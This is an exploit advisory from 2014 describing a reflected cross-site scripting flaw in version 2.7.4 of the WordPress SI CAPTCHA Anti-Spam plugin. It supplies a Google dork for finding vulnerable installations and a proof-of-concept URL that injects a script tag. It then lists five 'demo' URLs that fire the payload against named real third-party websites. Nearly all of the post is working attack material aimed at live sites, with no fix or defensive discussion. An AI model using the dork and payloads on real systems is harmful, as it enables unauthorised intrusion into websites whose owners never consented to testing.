|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
  |-------------------------------------------------------------------------|
  | [*] Exploit Title: Wordpress SI CAPTCHA Anti-Spam Plugin Cross  
site scripting
  |
  | [*] Exploit Author: Ashiyane Digital Security Team
  |
  | [*] Date : Date: 2014-08-02
  |
  | [*] Vendor Homepage : http://wordpress.org
  |
  | [*] Software Link : http://wordpress.org/plugins/si-captcha-for-wordpress/
  |
  | [*] Version : 2.7.4
  |
  | [*] Google Dork:  
inurl:/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage
  |
  | [*] Tested on: Windows , Mozilla Firefox
  |-------------------------------------------------------------------------|
  | [*] Kind: XSS Reflected
  |
  | [*] PoC :
  |
  | [*]   
[Localhost]/wordpress/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
  |-------------------------------------------------------------------------|
  | [*] Demo:
  |
  | [*]  
http://www.aroundthewoorld.fr/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
  |
  | [*]  
http://www.thebeehive.ie/wordpress/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test//index.php/"/><script>alert(1);</script>
  |
  | [*]  
http://www.ioanam.ecosapiens.ro/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
  |
  | [*]  
http://www.mauroguiselini.com.br/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
  |
  | [*]  
http://www.plataformaenergetica.com/suryayoga/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
  |
  |
  |-------------------------------------------------------------------------|
  | [*] Discovered By : ACC3SS
  |-------------------------------------------------------------------------|
  |-------------------------------------------------------------------------|
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|